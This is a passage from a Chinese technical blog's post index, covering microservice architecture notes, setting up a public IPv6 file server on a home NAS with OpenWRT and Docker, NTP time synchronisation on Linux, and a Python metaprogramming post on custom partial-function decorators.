服务消费者摘除机制(注册中心照常提供注册信息,服务消费者发现服务提供方不可用时,将它从本地的提供方列表中摘除) 负载均衡算法: 随机算法:均匀随机; 轮询算法:按照固定的权重,对可用节点进行轮询。权重可以静态配置,也可以通过某些指标来设置; 最少活跃调用算法:统计当前消费者和每个节点之间建立的连接数,向连接最少的一方发送请求 一致性 Hash 算法 服务路由:可用节点的选择除了由负载均衡算法决定,还会由路由规则来决定。 服务容错:对于调用失败的请求,要通过一些手段自动恢复,保证调用成功。 微服务架构实践 微服务发布与引用的实践 服务发布预定义配置: 服务发布预定义配置 接口的超时时间和重试次数由服务提供者来定义,而不是服务消费者。 服务引用定义配置 接口的超时时间等由服务引用者进行定义。 如何将注册中心落地 注册中心存储服务信息。这些信息处理包含节点信息(IP 和 端口号)以外,还包含其它一些信息,比如请求失败时重试的次数等。 此外,所有服务还会按照某些规则进行分组,如机房、是否核心业务等。 开源服务注册中心选型 当下主流的服务注册与发现的解决方案主要有两种: 应用内注册与发现:应用通过 SDK 与注册中心通信完成服务的注册和发现 应用外注册与发现:应用可以通过其他方式与注册中心交互 两种解决方案的不同之处在于应用场景。对于容器化的云应用来说,一般不适合采用应用内 SDK 的解决方案,因为这样会侵入业务。 应用内注册的典型案例有 Eureka,提供 Java SDK; 应用外最典型的案例是 Consul,它通过 Consul Template 来进行服务注册信息配置(如动态更新 Nginx 配置文件来完成服务请求的路由) 应用中心选型要考虑的两个问题:高可用性、数据一致性。 开源 RPC 框架选型 语言绑定的 RPC 框架: Dubbo:阿里巴巴开源,Java 平台 Motan:微博开源,Java 平台 Tars:腾讯开源,C++ 平台 Spring Cloud:Pivotal 开源,Java 平台,最近几年比较火 跨平台的 RPC 框架: gRPC:Google 开源 Thrift:Facebook 开源,Apache 基金会项目 关于 Thrift 和 gRPC 选型:Thrift 历史悠久,支持的平台比 gRPC 多,但 gRPC 在效率和代码程度方面更占优势,所以更推荐使用 gRPC. 如何搭建一个可靠的监控系统 一个监控系统的组成主要涉及四个环节:数据收集、数据传输、数据处理和数据展示。 目前比较流行的开源监控系统实现方案有两种: 以 ELK 为代表的集中式日志解决方案 以 Graphite、TICK、Prometheus 等为代表的时序数据库解决方案。 ELK:Elasticsearch, Logstash, Kibana ELK 的数据流向为:Logstash → Elasticsearch → Kibana Logstash 负责数据收集和传输,传输时可以动态地对数据过滤、分析、格式化 Elasticsearch 负责数据处理(存储、搜索和分析) Kibana 负责数据展示 Logstash 比较消耗计算资源,所以不太适合在业务服务器上部署,于是引入了 Beats用于在服务器节点收集数据,然后向 Logstash(或 ES)发送数据。 这样一来,数据处理和展示的流水线就变成了 Beats → Logstash → Elasticsearch → Kibana. Graphite Graphite 主要包括三部分:Carbon, Whisper, Graphite-Web Carbon: 用于收集指标并持久化到 Whisper 存储文件 Whisper:一个简单的时序数据库 Graphite-Web:从 Carbon-cache 或 Whisper 读取数据并展示 TICK:Telegraf、InfluxDB、Chronograf、Kapacitor Telegraf 负责数据采集,InfluxDB 负责数据存储,Chronograf 负责数据展示,Kapacitor 负责数据告警。 Prometheus 2015 年正式发布,2016 年加入 CNCF,称为受欢迎程度仅次于 Kubernetes 的项目。 其它三种方案的数据采集模式都是“推数据”的方式,而 Prometheus 以“拉数据”的方式进行数据采集,所以不需要在服务端部署数据采集代理。 Grafana 开源的展示工具,可以弥补 Graphite、TICK 和 Prometheus 展示功能的薄弱点。 支持以上所有类型的数据源,UI 要比 Kibana 美观一些。 从监控层面考虑,时序数据库的实时性和灵活性都比 ELK 要好,所以监控系统选型更推荐使用时序数据库,尤其是 Prometheus,毕竟 CNCF 亲儿子。 其实 ELK 更适合做日志收集,而不是监控。 如何搭建一套服务追踪系统 服务追踪的实现主要包括三部分:埋点数据收集、实时数据处理、数据链路展示。 OpenZipkin Pinpoint 对比: OpenZipkin 支持很多语言,但 Pinpoint 只支持 Java; Pinpoint 通过 Java 字节码注入来实现追踪,所以对 Java 的支持程度非常高,追踪信息非常丰富; OpenZipkin 只能绘制服务间的链路拓扑图,但 Pinpoint 还可以绘制服务与 DB 之间的链路拓扑图。 如何实现服务存活检测 如果心跳请求失败,注册中心会将服务从可用服务中摘除。但在网络频繁抖动的情况下,可能会导致可用服务列表频繁变化。 解决方案: 心跳开关保护机制:在网络抖动时,启用一个应急设置,限制来自服务消费者的可用服务查询请求,避免注册中心被 DOS. 但这样会导致服务消费者存储的可用服务列表过期。 服务节点摘除保护机制:设定一个比例,如 20%,此时注册中心不能摘除超过总数 20% 的可用节点,保证至少有 80% 的节点存储在列表中。此时,节点列表和节点实际的工作状态无关(很可能大部分节点都是可用的,只是注册中心访问不到它而已)。 静态注册中心 静态注册中心存储所有可用节点列表,但不负责进行存活检测。存活检测将交给服务消费者来进行。服务消费者每次从注册中心中拿到的节点列表是不变的,但消费者在使用服务的过程中可以通过调用的成功情况来动态地维护本地节点列表。这样,注册中心的节点列表就不会受到网络抖动的影响。 从某种角度来讲,这种做法更科学一些,因为实际使用服务的是消费者而不是注册中心。 如何使用负载均衡算法 负载均衡算法的意义: 考虑调用的均匀性,使每个节点接收到的请求更加平均; 考虑调用的性能,哪个节点快用哪个,使得整体响应时间最短。 常用的负载均衡算法: 随机算法 轮询算法 加权轮询算法 最少活跃连接算法 一致性 hash 算法:通过某个 hash 函数,把同一个来源的请求都映射到同一个节点上 在服务端性能差异较大的情况下,如果能预先定义权重,则可以使用加权轮询算法,否则最好使用最少活跃连接算法。 如果场景比较复杂,可以考虑自适应选择最优算法。通过“二八原则”动态调整权重。 如何使用服务路由 服务路由是在服务消费者发起服务调用时,必须根据特定的规则来选择服务节点,从而满足某些特定的需求。 服务路由的应用场景: 分组调用 灰度发布 流量切换 读写分离 服务路由主要有两种规则:条件路由和脚本路由。 服务路由的获取方式: 本地配置:路由规则存在消费者的本地; 配置中心管理:路由规则存在配置中心,消费者从配置中心获取规则; 动态下发:运维人员通过服务治理平台修改路由规则,服务治理平台将规则持久化到配置中心,消费者订阅配置中心的变更。 服务端故障时该如何应对 微服务系统中的故障可能出现三种: 集群故障(该服务的所有实例都出现了故障) 单 IDC 故障(由于光缆被挖断导致某 IDC 脱网) 单机故障 应对集群故障的思路主要有两种:限流(限制请求数量)和降级(停止系统中的某些功能,保证系统整体的可用性); 降级时可以在内存中存储一些开关,出现故障的时候打开某些开关,从而在代码中绕过一些处理逻辑。 应对单 IDC 故障的方式有两种:基于 DNS 解析的流量切换、基于 RPC 分组的流量切换(配置路由规则)。 在业务量大的服务中,单机故障发生的概率最高。所以最好设计一套系统来自动处理单机故障,而不是依靠人力处理。 处理单机故障的一个有效的办法就是自动重启,但重启条件的判定和服务重启比例需要确定,否则可能会出现大规模重启导致服务不可用。 服务调用失败时的处理手段 调用服务时需要设置超时时间,以避免依赖的服务迟迟没有返回结果,把服务消费者拖死。 具体超时时间设定可以以服务提供者在线上真实的服务水平为准,比如取 99.99% 分位的响应时间。 有些调用失败(或超时)后可以考虑重试,通过多次尝试调用以降低整体故障率。 除了重试外,还可以考虑双发,即同时发起两次请求。但这种方式会给服务提供者带来压力,所以一般情况下双发是不可取的。 如果服务提供者大规模故障导致所有客户端同时重试,则会给服务提供者带来更大的压力,从而加剧故障。所以这种情况下要使用熔断机制:如果发现服务提供者发生故障,则短时间内停止所有请求,以给服务提供者恢复时间来恢复。 如何管理服务配置 本地配置:将配置写在代码中,随代码一同发布 配置中心:将配置写在配置中心中,服务启动时从配置中心拉取所需配置;如果配置发生变更,服务还可以收到通知并自动更新本地配置 配置中心一般是 KV 实现,通常包含如下功能:注册、反注册、查看、变更订阅。 配置中心的典型应用场景:资源服务化、业务动态降级、分组流量切换。 开源的配置中心:Spring Cloud Config, Disconf, Apollo. 同时,Consul、Zookeeper 和 Etcd 等注册中心在小规模服务中也可以作为配置中心使用。 如何搭建微服务治理平台 微服务治理平台的主要功能: 对于扇贝来说,服务治理平台的选型为: 服务管理(服务上下线):Kubernetes 服务治理(限流降级等):Ratelimit 服务监控:Prometheus & Grafana,服务依赖拓扑的整体监控暂无 问题定位:Prometheus(宏观层面),Sentry(围观层面) 日志查询:ELK 服务运维(发布、扩缩容):Kubernetes, GitLab CI/CD 微服务架构要如何落地 技术团队中需要求架构师,也要包含懂业务的开发人员; 首先要在一个小的业务上进行试点,在架构方案成熟后再继续推进; 做好技术取舍,技术选型时要考虑目前团队的实际掌控能力,对新技术方案的引入要尤其慎重; 采用 DevOps,进行一站式开发、测试、上线和运维; 统一微服务治理平台 微服务容器化 微服务为什么要容器化 容器化的优势: 可以使代码运行环境多样化 开发测试生产可以使用同一套环境 微服务容器化实践:充分利用 Docker 镜像的分层机制,将基础环境、运行时环境、业务代码分层注入到镜像中。 容器化运维 容器化运维和传统运维不同:每个服务都是容器,可能没有固定的 IP. 所以需要容器运维平台来辅助运维工作。 一个容器运维平台通常包含以下几个组成部分:镜像仓库、资源调度、容器调度和服务编排。 镜像仓库:权限控制、镜像同步(多节点负载均衡)、高可用性。 资源调度:通过一个统一的层来对接不同集群(实体机、私有云、公有云),进行统一的资源管理。 容器调度:在物理机中对服务容器进行调度。常见的调度系统有 Swarm, Mesos 和 Kubernetes. 容器调度需要解决的问题:主机过滤、调度策略。 服务编排:服务依赖(Docker Compose),服务发现(基于 Nginx 或基于注册中心),自动扩缩容。 微服务如何实现 DevOps DevOps 是一种新型的业务研发流程,业务的开发人员不仅需要负责业务代码的开发,还需要负责业务的测试以及上线发布等全生命周期,真正做到掌握服务全流程。 实现 DevOps,就必须要实现 CI 和 CD 流程。 CD 可以是持续交付(只需要让代码达到线上发布要求就行),但也可以是持续部署(Continuous Deploy),持续地把代码部署到线上。部署过程可以自动,但更推荐手动控制,因为这样更加安全。 容器化的出现解决了代码环境的可移植性问题,使得 DevOps 取得了突飞猛进的发展,并成为业界推崇的开发模式。 微博的 DevOps 实践:使用 GitLab CI 来实现 DevOps 业务量大了以后,并不需要要求自动化的持续部署,方便在分阶段部署的时候及时观察服务状态并干涉部署过程。 如何做好微服务容量规划 微服务的处理能力差异很大,且很多微服务之间具有依赖关系,所以微服务容量规划相当困难。 容量规划系统的作用是根据各个微服务部署集群的最大容量和线上实际运行的负荷,来决定各个微服务是否需要弹性扩缩容,以及需要扩缩容多少台机器。 实施容量规划系统的关键在于两点:做好容量评估;做好调度决策。 容量评估需要靠压测,压测需要选出合适的压测指标。调度决策主要靠设定水位线:当(一个或多个)实际指标高于水位线一段时间后,则需要扩容。 Service Mesh 概念 Service Mesh 的核心概念:将轻量级的网络代理和应用代码部署在一起,从而以应用无感知的方式实现服务治理。 Service Mesh 用轻量级网络代理的方式与应用代码部署在一起,以保证服务之间调用的可靠性,这与传统的微服务架构有本质区别。这么做主要有两个原因: 跨语言服务调用需要 云原生应用服务治理需要 Service Mesh 的核心组件: Sidecar:轻量级代理 Control Plane:服务治理主控,向 sidecar 发送指令完成服务治理功能 Control Plane 的作用主要包括:服务发现、负载均衡、请求路由、故障处理、安全认证、监控上报、日志记录、配额控制 第一代 Service Mesh 的产品是 Linkerd,第二代是 Istio. Istio Istio 是新一代 Service Mesh 产品,具有强大的功能以及适配性,可以在 Kubernetes, Mesos 等多个平台上运行。 Istio 采用 Envoy 作为默认的 Sidecar,Control Plane 包含三个基本组件:Pilot、Mixer 以及 Citadel. Envoy 是 Istio 中最基础的组件,所有其它组件的功能都是通过调用 Envoy 的 API,在请求经过 Envoy 转发时,由 Envoy 执行相关的控制逻辑来实现的。 Pilot 通过向 Envoy 下发指令来实现流量控制,如负载均衡、请求路由、故障注入等。 Mixer 提供了策略控制和监控日志收集等功能。 Citadel 的作用是保证服务之间访问的安全。","categories":[{"name":"DevOps","slug":"DevOps","permalink":"https://blog.stdioa.com/categories/DevOps/"}],"tags":[{"name":"微服务","slug":"微服务","permalink":"https://blog.stdioa.com/tags/%E5%BE%AE%E6%9C%8D%E5%8A%A1/"},{"name":"读书","slug":"读书","permalink":"https://blog.stdioa.com/tags/%E8%AF%BB%E4%B9%A6/"},{"name":"DevOps","slug":"DevOps","permalink":"https://blog.stdioa.com/tags/DevOps/"}],"author":"David Dai"},{"title":"瞎玩IPv6——在公网搭建文件管理器","slug":"build-file-manager-on-ipv6","date":"2019-02-21T11:28:00.000Z","updated":"2022-09-10T01:41:19.790Z","comments":true,"path":"2019/02/build-file-manager-on-ipv6/","link":"","permalink":"https://blog.stdioa.com/2019/02/build-file-manager-on-ipv6/","excerpt":"IPv6 是个好东西,希望人人都有一个。","text":"IPv6 是个好东西,希望人人都有一个。 IPV6 IPv6 是啥? 新一代的 IP 协议,解决了 IPv4 地址枯竭的问题。具体可以见 Wikipedia. IPv6 的 IP 长度为 128 位,总量非常非常多,不用担心用不完,所以接入 IPv6 的客户端都会分到一段 IP,比如 240e:1c:ce8:fd00::/64,然后客户端又可以把这段 IP 继续分段,下发到下面的所有子网中。 不过需要注意的是,虽然客户端会分到一段 IP 的所有权,不过客户端本身还是会有至少一个确定的 IP,以确定自己的位置。 其实发现 ISP 分给自己 2^64 个 IP 地址的时候还是感觉很奢侈…😂 IPv6 跟我有什么关系? 感谢去年工信部发布了《工业和信息化部关于贯彻落实〈推进互联网协议第六版(IPv6)规模部署行动计划〉的通知》,IPv6 现在也飞入寻常百姓家了~ ISP 下发的 IP,都是公网 IP ,我们再也不用躲在层层 NAT 后面,想要一个公网 IP 都要去打电话跟运营商扯皮了。 年前意外看到自己的路由器界面上有了公网的 IPv6 IP,电信 4G 网络也支持 IPv6 了,于是打算折腾一下,把这个公网 IP 利用起来,比如给家里的 NAS 搭个公网可以访问的云盘什么的😳 配置 DHCP 如果要用公网 IP,首先你要有一个公网 IP. 如果 ifconfig 看到的 IP 只有 fe80 开头的地址,那是用于链路本地通信的保留地址,是不能在公网使用的。 打开路由器的后台,看一下 WAN6 的接口,如果能看到公网 IP,那就可以配置 dhcp 下发了。 编辑 /etc/config/dhcp 打开 DHCPv6 的中继模式: 12345678910111213141516171819202122232425config dhcp 'lan' option interface 'lan' option start '100' option limit '150' option leasetime '12h' option ndp 'relay' option dhcpv6 'relay' option ra 'relay'config dhcp 'wan' option interface 'wan' option start '100' option limit '150' option ignore '1' option leasetime '12h' option ra 'relay' option dhcpv6 'relay' option ndp 'relay'config dhcp 'wan6' option interface 'wan' option ra 'relay' option dhcpv6 'relay' option ndp 'relay' option master '1' 配置好后,用 /etc/init.d/odhcpd restart 重启 DHCP 服务器;等待一会,应该就可以在客户端网口上看到一个公网的 ipv6 地址了。 12345$ ifconfig enp1s0enp1s0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.10.209 netmask 255.255.255.0 broadcast 192.168.10.255 inet6 240e:17:ce8:fd00:7285:c2ff:fe38:2a56 prefixlen 64 scopeid 0x0<global> inet6 fe80::7285:c2ff:fe38:2a56 prefixlen 64 scopeid 0x20<link> 参考资料:OpenWRT IPv6 三种配置方式 防火墙 打开以后,可以随便找一个外网的机器来 ping 一下自己的机器地址,如果顺利的话,应该可以 ping 通了,但是 SSH/HTTP 访问应该还是不可以的,因为路由器的防火墙拒绝了来自外网的 TCP 请求。 在路由器的防火墙界面配置流量规则,允许目标地址为服务器的 IP 地址,端口为 22/80/443 端口的请求: 或者直接使用 ip6tables 命令配置路由器的 iptables: 123ip6tables -A zone_wan_forward -d 240e:17:ce8:fd00:7285:c2ff:fe38:2a56/128 -p tcp -m tcp --dport 22 -m comment --comment "!fw3: Allow-v6-forward" -j zone_lan_dest_ACCEPTip6tables -A zone_wan_forward -d 240e:17:ce8:fd00:7285:c2ff:fe38:2a56/128 -p tcp -m tcp --dport 80 -m comment --comment "!fw3: Allow-v6-forward" -j zone_lan_dest_ACCEPTip6tables -A zone_wan_forward -d 240e:17:ce8:fd00:7285:c2ff:fe38:2a56/128 -p tcp -m tcp --dport 443 -m comment --comment "!fw3: Allow-v6-forward" -j zone_lan_dest_ACCEPT 然后本地开个 HTTP 服务器,再尝试访问一下 http://[240e:17:ce8:fd00:7285:c2ff:fe38:2a56]/,如果顺利的话,就可以自己做网站了~ 测试的时候遇到了一个小插曲:我在 NAS 的 6000 端口上随手部署了一个 HTTP 服务器,但用手机的 Chrome 访问的时候报出了 ERR_UNSAFE_PORT 的错误,才发现 Chrome 还有这种奇怪的端口访问限制…具体可见这篇文章。 文件服务器 文件服务器的选型,我使用了 Nginx + FileRun,用 Docker 进行托管。 Nginx 是之前在内网搭服务的时候就搭好的,FileRun 是一款长得和 Google Drive 有点像~~(哪里像了)~~的文件服务器,支持文件分享、图片/视频在线预览,还可以使用 Office Web/Google Docs 在线编辑文件。 它是收费软件,不过免费功能也够用。功能强大,长得又很漂亮,就用它了~ FileRun 支持使用 Docker 部署,方法可见官方文档。 其中,容器中的 /var/www/html 目录会存放 FileRun 首次启动时生成的 PHP 文件,而 /user-files 目录是 FileRun 程序进行文件操作的根目录。 在部署时,我的 NAS 上已经有一个 MySQL 服务了,不想再另起一个,所以通过 external_link 设置让 FileRun 容器直接访问现有的 MySQL 容器: 1234567891011121314151617181920212223version: '2'services: web: image: afian/filerun environment: FR_DB_HOST: mysql FR_DB_PORT: 3306 FR_DB_NAME: filerun FR_DB_USER: filerun FR_DB_PASS: password APACHE_RUN_USER: www-data APACHE_RUN_USER_ID: 33 APACHE_RUN_GROUP: www-data APACHE_RUN_GROUP_ID: 33 network_mode: bridge external_links: - mysql ports: - "8030:80" volumes: - /data/filerun/html:/var/www/html - /mnt:/user-files restart: always Nginx 配个反代,DNS 配一条 AAAA 记录,acme.sh 签个 HTTPS 证书,这些都不细讲了。 登录时,发现 JS 里有个奇怪的 base_url 指向了 localhost:8030,导致页面脚本不能正常工作。 查到这个帖子,新建文件 /user-files/customizables/config.php,写入如下内容: 1<?php $config['url']['root'] = 'https://filerun.somedomain.com'; $_SERVER['HTTPS'] = 'on';?> 重启之后就可以正常使用了。 来张图感受一下😄 Update @ 2019.2.26:Nextcloud 真香 🌚 还剩下一个小问题:DDNS 路由器重启或重新拨号后,NAS 会拿到新的 IP,网站就无法正常访问了。 于是写了个脚本用 CloudFlare API 更改 DNS 记录,可以定时运行脚本,来更新 IP 地址。 12345678910111213141516171819202122232425262728293031323334353637#!/usr/bin/env python3import socketimport requestsKEY = "<Cloudflare API Key>"EMAIL = "<Cloudflare Email>"ZONE_ID = "<Zone ID>"records = [["<DNS Record ID>", "<Domain>"]]def get_ip_6(host, port=0): sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) sock.connect((host, port)) return sock.getsockname()[0]def main(): ip = get_ip_6('ipv6.google.com') api_url = "https://api.cloudflare.com/client/v4/zones/{}/dns_records/{}" headers = { "X-Auth-Email": EMAIL, "X-Auth-Key": KEY } for record_id, domain in records: url = api_url.format(ZONE_ID, record_id) res = requests.put(url, json={ "type": "AAAA", "name": domain, "content": ip, "ttl": 120, "proxied": False }, headers=headers) print(res.status_code, res.json())if __name__ == '__main__': main() Ref: Finding local IP addresses using Python’s stdlib 哦对了,IP 更换之后,除了更新 DNS 记录,还要记得重新配置路由器防火墙。 差不多就写这些了。","categories":[{"name":"网络","slug":"网络","permalink":"https://blog.stdioa.com/categories/%E7%BD%91%E7%BB%9C/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://blog.stdioa.com/tags/Linux/"},{"name":"IPv6","slug":"IPv6","permalink":"https://blog.stdioa.com/tags/IPv6/"},{"name":"NAS","slug":"NAS","permalink":"https://blog.stdioa.com/tags/NAS/"}],"author":"David Dai"},{"title":"NTP 简介","slug":"NTP-summary","date":"2019-02-12T11:50:00.000Z","updated":"2022-09-10T01:41:19.789Z","comments":true,"path":"2019/02/NTP-summary/","link":"","permalink":"https://blog.stdioa.com/2019/02/NTP-summary/","excerpt":"昨天遇到了一个神奇的问题,最后发现是服务器的 ntpd 没开导致本地时间没有同步😂 正好了解一下 NTP.","text":"昨天遇到了一个神奇的问题,最后发现是服务器的 ntpd 没开导致本地时间没有同步😂 正好了解一下 NTP. NTP 协议 NTP 协议用于在网络之中通过分组交换进行时钟同步。基于 UDP,使用 123 端口。 协议实现 客户端和服务器间会通过修改版的 Marzullo 算法 完成时间同步。 在传递时间时,服务器会给出 64 位的时间戳,浮点精度为 32 位。这个时间戳每 2^32 秒会翻转一次,理论分辨率为 2^-32 秒。时间戳以 1900 年 1 月 1 日作为开始时间。 NTP 时间源会进行分层,通过阶层 n 同步的服务器将运行在阶层 n+1. 分层机制用来防止循环请求。阶层 0 的服务器与高精度计时设备(如原子钟)相连,也成为基准时钟。 使用 NTP 同步 Linux 系统时间 ntpd ntpd 是某些 Linux 发行版自带的 NTP 同步工具,它通常在后台运行,与授时服务器进行时间同步。 ntpd 默认使用 /etc/ntp.conf 作为配置文件。配置方法及范例可以参考 Linux System Administrators Guide 不过需要注意的是,启动 ntpd 并不会立即纠正本地时间,而是会缓慢地进行时间同步。 Be patient! A simple test is to change your system clock by 10 minutes before you go to bed and then check it when you get up. The time should be correct. ntpdate ntpdate 是一款使用 NTP 协议同步本地时间的工具。如果需要快速纠正时间,可以使用 ntpdate 进行手动同步。 安装: 1apt install ntpdate 使用: 12$ sudo ntpdate cn.ntp.org.cn12 Feb 13:19:05 ntpdate[27659]: adjust time server 119.28.183.184 offset -0.007086 sec 注意:由于 NTP 协议使用固定端口,在使用 ntpdate 时,需要关闭 ntpd 服务。 systemd-timesyncd systemd-timesyncd 是 timedated 提供的时钟同步守护软件。它可以通过 systemd-timesyncd.service 服务启动。 timesyncd 的配置文件位于 /etc/systemd/timesyncd.conf,格式如下: 123456[Time]NTP=cn.ntp.org.cn 0.cn.pool.ntp.org # 主要 NTP 服务器FallbackNTP=0.arch.pool.ntp.org 1.arch.pool.ntp.org 2.arch.pool.ntp.org 3.arch.pool.ntp.org # 备用 NTP 服务器RootDistanceMaxSec=5PollIntervalMinSec=32PollIntervalMaxSec=2048 配置完成后,运行 sudo timedatectl set-ntp true 启用时间同步服务 timedatectl status 可以查看当前同步设置,timedatectl timesync-status 可以查看当前时间同步服务的运行状态,包括时间延迟、误差、至今同步次数等。 国内常用的 NTP 地址(IP 池) ntp.org.cn:cn.ntp.org.cn NTP Pool Project:0.cn.pool.ntp.org 阿里云 NTP:time.pool.aliyun.com 更多地址可参考国内常用NTP服务器地址 其它参考文档 https://wiki.archlinux.org/index.php/Systemd-timesyncd_(简体中文) https://zh.wikipedia.org/wiki/網路時間協定 https://wiki.archlinux.org/index.php/Systemd-timesyncd_(简体中文) https://www.freedesktop.org/software/systemd/man/systemd-timesyncd.service.html","categories":[{"name":"乱七八糟","slug":"乱七八糟","permalink":"https://blog.stdioa.com/categories/%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://blog.stdioa.com/tags/Linux/"},{"name":"NTP","slug":"NTP","permalink":"https://blog.stdioa.com/tags/NTP/"}],"author":"David Dai"},{"title":"《流畅的 Python》阅读笔记","slug":"fluent-python-notes","date":"2018-12-24T12:03:00.000Z","updated":"2022-09-10T01:41:19.793Z","comments":true,"path":"2018/12/fluent-python-notes/","link":"","permalink":"https://blog.stdioa.com/2018/12/fluent-python-notes/","excerpt":"去年就想看《流畅的 Python》这本书,今年终于看完了。","text":"去年就想看《流畅的 Python》这本书,今年终于看完了。 《流畅的 Python》是一本深入讲解 Python 语言的书,非常值得一读。去年看到同事在看,就一直想看,陆陆续续看了很久没什么进度,这个月一努力,把这本书看完了。 这次脑洞一开,觉得既然学的是 Python,那我为什么不用 Python 做笔记呢?于是就选用了 Jupyter Notebook 来做笔记载体。一个文档里既可以写 Markdown,又可以运行 Python 代码,简直完美。 所以,这本书的笔记就这么写出来了。内容不算少,所以烦请移步我的 GitHub Repo.","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/categories/Python/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/tags/Python/"},{"name":"读书","slug":"读书","permalink":"https://blog.stdioa.com/tags/%E8%AF%BB%E4%B9%A6/"}],"author":"David Dai"},{"title":"Python Hacking: “高级”偏函数","slug":"python-hacking-advanced-partial","date":"2018-12-02T02:06:00.000Z","updated":"2022-09-10T01:41:19.797Z","comments":true,"path":"2018/12/python-hacking-advanced-partial/","link":"","permalink":"https://blog.stdioa.com/2018/12/python-hacking-advanced-partial/","excerpt":"本文讲解了一个需求的解决方案,而这个奇葩需求你在 99.93% 场景下都不会遇到,就算遇到了,也一定有其它更简单的解决方案。","text":"本文讲解了一个需求的解决方案,而这个奇葩需求你在 99.93% 场景下都不会遇到,就算遇到了,也一定有其它更简单的解决方案。 0. 引言 >>> print((lambda x:None).__code__.__doc__) code(argcount, kwonlyargcount, nlocals, stacksize, flags, codestring, constants, names, varnames, filename, name, firstlineno, lnotab[, freevars[, cellvars]]) Create a code object. Not for the faint of heart. 1. 需求 mock.patch 对象在用做装饰器时,会生成一个偏函数,来将原始函数的第一个位置参数覆盖为一个 mock 对象,如: 123@mock.patch('func')def test_something(mock, a, b): pass 此处 mock 参数就是 patch 对应的 mock 对象。 而 pytest 有一个有点厉害的功能:它会读取测试函数的参数,并在 conftest.py 中寻找每个参数对应的同名 fixture 并加载。 前两天就遇到了这样的问题:我要做一个类似 patch 的装饰器,在 pytest 测试函数执行时向内部注入一个参数,而且要保证这个参数在被 pytest 解析时不能暴露在参数列表中,否则 pytest 会因为找不到参数的 fixture 而报错。 12345678@my_patch('func')def test_something(mock, fixa, fixb): # mock 参数由 @my_patch 注入 pass# 在外界看来,test_something 的参数只能有 fixa 和 fixb,而不能有 mockimport inspectassert str(inspect.signature(test_something)) == "(fixa, fixb)" 2. 铺垫一下:简单的偏函数装饰器实现 如果想实现一个简单的偏函数装饰器,非常简单: 1234567891011121314def my_partial(*partial_args, **partial_kwargs): def decorator(func): def wrapped(*args, **kwargs): args = partial_args + args partial_kwargs.update(kwargs) return func(*args, **partial_kwargs) return wrapped return decorator@my_partial(1, 2, d=5)def func(a, b, c, d=4): return sum([a, b, c, d])assert func(3) == 11 但这样的话,func 的参数声明将会变成 wrapped 的参数声明,也就是 (*args, **kwargs),而在这个场景中,func 的参数声明应该是 (c, d=5),才能够真正满足 pytest 的要求。 于是,我们就需要在定义 wrapped 函数的时候,对它的参数声明进行定制化。 3. 来点基础知识 3.1 获取函数参数声明 获取完整的函数参数声明,要涉及到函数的几个私有属性: __code__: 编译过的函数代码对象,类型为 types.CodeType __defaults__: 函数的序列参数默认值,类型为 None 或 tuple __kwdefaults__: 函数的关键字参数默认值,类型为 None 或 dict 其中 code 对象中的几个属性也需要用到: co_varnames: 函数声明中所有参数的变量名,其中 * 和 ** 可变参数的变量名会放在最后 co_argcount: 序列参数的数量 co_kwonlyargcount: 严格关键词参数的数量 co_flags: 函数性质标记,0x04 位声明这个函数是否用到了 *args,而 0x08 位声明这个函数是否用到了 **kwargs 有了这些属性,我们就可以获取到函数的参数声明信息。具体实现可以看下面的代码汇总。 当然,Python 3 还支持函数注解,需要用到函数的 __annotations__ 属性,但在我的代码中没有对这部分进行解析。 3.2 inspect 库 当然,这些轮子,Python 自带库 inspect 都已经帮我们造好了。 inspect.getfullargspec(f) 可以获取到以上所有的参数信息: 123456>>> def func(a, b=1, *args, c=2, **kwargs):... pass...>>> inspect.getfullargspec(func)FullArgSpec(args=['a', 'b'], varargs='args', varkw='kwargs', defaults=(1,), kwonlyargs=['c'], kwonlydefaults={'c': 2}, annotations={}) 而 inspect.signature 更加强大,它除了解析函数外,还支持“模拟调用”函数,对调用方式进行合法性验证,并展示调用之后函数中每个参数的值: 123456789>>> s = inspect.signature(func) # func 定义见上>>> s<Signature (a, b=1, *args, c=2, **kwargs)>>>> b = s.bind(0)>>> b<BoundArguments (a=0)>>>> b.apply_defaults()>>> b<BoundArguments (a=0, b=1, args=(), c=2, kwargs={})> 实现了这些功能,我们就可以对给定函数进行参数解析并修改了。 这都算哪门子基础知识嘛… 4. 开始动手 先来写一个简单的、只支持序列参数,且不支持参数默认值的偏函数实现。 12345678910def func(a, b, c): return sum([a, b, c])if __name__ == '__main__': print(func(1, 2, 3,), func, signature(func)) # 6 <function func at 0x02D23B28> (a, b, c) partial = nb_partial(3, 4)(func) # 我是个装饰器,相信你看得懂 print(partial(5), partial, signature(partial, follow_wrapped=False)) # 12 <function func at 0x02DA0DB0> (c) 注:sigature(follow_wrapped=False) 会改变 signature 的默认行为:只查看函数本身的定义,而不会通过 __wrapped__ 链去查找原函数。 4.1 大体框架 搭个架子: 12345678910111213141516171819from functools import wrapsdef nb_partial(func, *partial_args): pre_arg_str = ', '.join(map(repr, partial_args)) # 这里是所有预定义函数的值("3, 4") code = func.__code__ if len(partial_args) > code.co_argcount: raise TypeError("Too many positional arguments") args = code.co_varnames[:code.co_argcount] post_args = args[len(partial_args):] post_args_str = ', '.join(post_args) # 这里是排除预定义函数后,剩下的参数名列表("c") def wrapped(c): # To be implemented return func(3, 4, c) return wraps(func)(wrapped) 现在我们有了需要的变量值和变量名信息。可是,我们还需要根据这些变量信息动态定义 wrapped 函数,这个就有点麻烦了… 4.2 黑科技:code object & FunctionType Python 毕竟是“万物皆对象”的动态语言。 从字符串编译一段代码?没问题!用函数类定义一个函数对象?也没什么问题! 牛(就)逼(是)了(慢)。 compile 内置函数可以让我们动态地通过字符串来编译代码,来生成一个代码对象。这段代码可以是一个完整的程序,一两个定义,也可以是几个表达式。 而通过 types.FunctionType,我们就可以使用代码对象,并向其中注入一些信息(如 globals),即可生成一个可用的函数。 123456789101112func_def = """def f(a): return a + 1"""module_code = compile(func_def, '<>', 'exec')function_code = next(code for code in module_code.co_consts if isinstance(code, types.CodeType))# 使用 exec 模式编译一段代码,并从中获取定义好的 code 常量(也就是 f 函数的代码)func = types.FunctionType(function_code, {})# 生成一个函数,第二个参数是 `globals`. 